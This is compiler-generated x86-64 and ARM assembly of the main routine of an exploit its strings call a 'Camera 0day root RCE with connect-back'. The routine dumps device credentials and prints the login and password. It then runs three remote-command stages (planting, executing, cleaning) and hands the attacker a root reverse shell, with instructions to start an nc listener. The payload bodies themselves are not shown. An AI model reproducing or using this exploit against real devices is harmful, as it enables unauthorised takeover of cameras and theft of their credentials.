	.file	"extr_43142.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Camera 0day root RCE with connect-back @PierreKimSec\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"%s target\n"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"%s target --get-config      will dump the configuration and exit\n"
	.align 8
.LC3:
	.string	"Please run `nc -vlp %s` on %s\n\n"
	.section	.rodata.str1.1
.LC4:
	.string	"--get-config"
.LC5:
	.string	"exploit failed"
.LC6:
	.string	"done"
.LC7:
	.string	"    login = %s\n"
.LC8:
	.string	"    pass  = %s\n"
.LC9:
	.string	"planting"
.LC10:
	.string	"executing"
.LC11:
	.string	"cleaning"
	.section	.rodata.str1.8
	.align 8
.LC12:
	.string	"[+] enjoy your root shell on %s:%s\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	ebp, edi
	lea	rdi, .LC0[rip]
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	mov	rbx, rsi
	sub	rsp, 8
	.cfi_def_cfa_offset 32
	call	puts@PLT
	cmp	ebp, 1
	jle	.L14
	cmp	ebp, 2
	je	.L15
	cmp	ebp, 3
	jne	.L5
	mov	rdi, QWORD PTR 16[rbx]
	lea	rsi, .LC4[rip]
	call	strcmp@PLT
	test	eax, eax
	je	.L16
.L5:
	mov	rdi, QWORD PTR 8[rbx]
	xor	esi, esi
	call	creds@PLT
	mov	rbp, rax
.L6:
	test	rbp, rbp
	je	.L17
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	rsi, rbp
	lea	rdi, .LC7[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rsi, 32[rbp]
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	edx, DWORD PTR PAYLOAD_0[rip]
	mov	rsi, rbp
	lea	rcx, .LC9[rip]
	call	rce@PLT
	test	eax, eax
	je	.L18
.L8:
	mov	edi, 1
	call	sleep@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	edx, DWORD PTR PAYLOAD_1[rip]
	mov	rsi, rbp
	lea	rcx, .LC10[rip]
	call	rce@PLT
	test	eax, eax
	je	.L19
.L9:
	mov	rdi, QWORD PTR 8[rbx]
	mov	edx, DWORD PTR PAYLOAD_2[rip]
	lea	rcx, .LC11[rip]
	mov	rsi, rbp
	call	rce@PLT
	test	eax, eax
	je	.L20
.L10:
	mov	rdi, QWORD PTR 8[rbx]
	mov	edx, DWORD PTR PAYLOAD_1[rip]
	lea	rcx, .LC11[rip]
	mov	rsi, rbp
	call	rce@PLT
	test	eax, eax
	je	.L21
.L11:
	mov	rdx, QWORD PTR REMOTE_PORT[rip]
	mov	rsi, QWORD PTR REMOTE_HOST[rip]
	lea	rdi, .LC12[rip]
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
.L1:
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L21:
	.cfi_restore_state
	lea	rdi, .LC6[rip]
	call	puts@PLT
	jmp	.L11
.L20:
	lea	rdi, .LC6[rip]
	call	puts@PLT
	jmp	.L10
.L19:
	lea	rdi, .LC6[rip]
	call	puts@PLT
	jmp	.L9
.L18:
	lea	rdi, .LC6[rip]
	call	puts@PLT
	jmp	.L8
.L16:
	mov	rdi, QWORD PTR 8[rbx]
	mov	esi, 1
	call	creds@PLT
	mov	rbp, rax
	jmp	.L6
.L15:
	mov	rdx, QWORD PTR REMOTE_HOST[rip]
	mov	rsi, QWORD PTR REMOTE_PORT[rip]
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	jmp	.L5
.L17:
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	eax, 1
	jmp	.L1
.L14:
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	eax, 1
	jmp	.L1
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	REMOTE_PORT,8,8
	.comm	REMOTE_HOST,8,8
	.comm	PAYLOAD_2,4,4
	.comm	PAYLOAD_1,4,4
	.comm	PAYLOAD_0,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_43142.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Camera 0day root RCE with connect-back @PierreKimSe"
	.ascii	"c\012\000"
	.align	2
.LC1:
	.ascii	"%s target\012\000"
	.align	2
.LC2:
	.ascii	"%s target --get-config      will dump the configura"
	.ascii	"tion and exit\012\000"
	.align	2
.LC3:
	.ascii	"Please run `nc -vlp %s` on %s\012\012\000"
	.align	2
.LC4:
	.ascii	"--get-config\000"
	.align	2
.LC5:
	.ascii	"exploit failed\000"
	.align	2
.LC6:
	.ascii	"done\000"
	.align	2
.LC7:
	.ascii	"    login = %s\012\000"
	.align	2
.LC8:
	.ascii	"    pass  = %s\012\000"
	.align	2
.LC9:
	.ascii	"planting\000"
	.align	2
.LC10:
	.ascii	"executing\000"
	.align	2
.LC11:
	.ascii	"cleaning\000"
	.align	2
.LC12:
	.ascii	"[+] enjoy your root shell on %s:%s\012\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, lr}
	mov	r4, r0
	ldr	r0, .L22
	mov	r5, r1
	bl	puts
	cmp	r4, #1
	ble	.L14
	cmp	r4, #2
	beq	.L15
	cmp	r4, #3
	bne	.L5
	ldr	r1, .L22+4
	ldr	r0, [r5, #8]
	bl	strcmp
	cmp	r0, #0
	beq	.L16
.L5:
	mov	r1, #0
	ldr	r0, [r5, #4]
	bl	creds
	mov	r4, r0
.L6:
	cmp	r4, #0
	beq	.L17
	ldr	r0, .L22+8
	bl	puts
	mov	r1, r4
	ldr	r0, .L22+12
	bl	printf
	add	r1, r4, #32
	ldr	r0, .L22+16
	bl	printf
	ldr	r2, .L22+20
	mov	r1, r4
	ldr	r3, .L22+24
	ldr	r2, [r2]
	ldr	r0, [r5, #4]
	bl	rce
	cmp	r0, #0
	beq	.L18
.L8:
	ldr	r6, .L22+28
	mov	r0, #1
	bl	sleep
	mov	r1, r4
	ldr	r2, [r6]
	ldr	r3, .L22+32
	ldr	r0, [r5, #4]
	bl	rce
	cmp	r0, #0
	beq	.L19
.L9:
	ldr	r2, .L22+36
	mov	r1, r4
	ldr	r3, .L22+40
	ldr	r2, [r2]
	ldr	r0, [r5, #4]
	bl	rce
	cmp	r0, #0
	beq	.L20
.L10:
	mov	r1, r4
	ldr	r2, [r6]
	ldr	r0, [r5, #4]
	ldr	r3, .L22+40
	bl	rce
	cmp	r0, #0
	beq	.L21
.L11:
	ldr	r3, .L22+44
	ldr	r2, .L22+48
	ldr	r1, [r3]
	ldr	r2, [r2]
	ldr	r0, .L22+52
	bl	printf
	mov	r0, #0
	pop	{r4, r5, r6, pc}
.L21:
	ldr	r0, .L22+8
	bl	puts
	b	.L11
.L20:
	ldr	r0, .L22+8
	bl	puts
	b	.L10
.L19:
	ldr	r0, .L22+8
	bl	puts
	b	.L9
.L18:
	ldr	r0, .L22+8
	bl	puts
	b	.L8
.L16:
	mov	r1, #1
	ldr	r0, [r5, #4]
	bl	creds
	mov	r4, r0
	b	.L6
.L15:
	ldr	r3, .L22+48
	ldr	r2, .L22+44
	ldr	r1, [r3]
	ldr	r2, [r2]
	ldr	r0, .L22+56
	bl	printf
	b	.L5
.L17:
	ldr	r0, .L22+60
	bl	puts
	mov	r0, #1
	pop	{r4, r5, r6, pc}
.L14:
	ldr	r1, [r5]
	ldr	r0, .L22+64
	bl	printf
	ldr	r1, [r5]
	ldr	r0, .L22+68
	bl	printf
	mov	r0, #1
	pop	{r4, r5, r6, pc}
.L23:
	.align	2
.L22:
	.word	.LC0
	.word	.LC4
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	PAYLOAD_0
	.word	.LC9
	.word	PAYLOAD_1
	.word	.LC10
	.word	PAYLOAD_2
	.word	.LC11
	.word	REMOTE_HOST
	.word	REMOTE_PORT
	.word	.LC12
	.word	.LC3
	.word	.LC5
	.word	.LC1
	.word	.LC2
	.size	main, .-main
	.comm	REMOTE_PORT,4,4
	.comm	REMOTE_HOST,4,4
	.comm	PAYLOAD_2,4,4
	.comm	PAYLOAD_1,4,4
	.comm	PAYLOAD_0,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
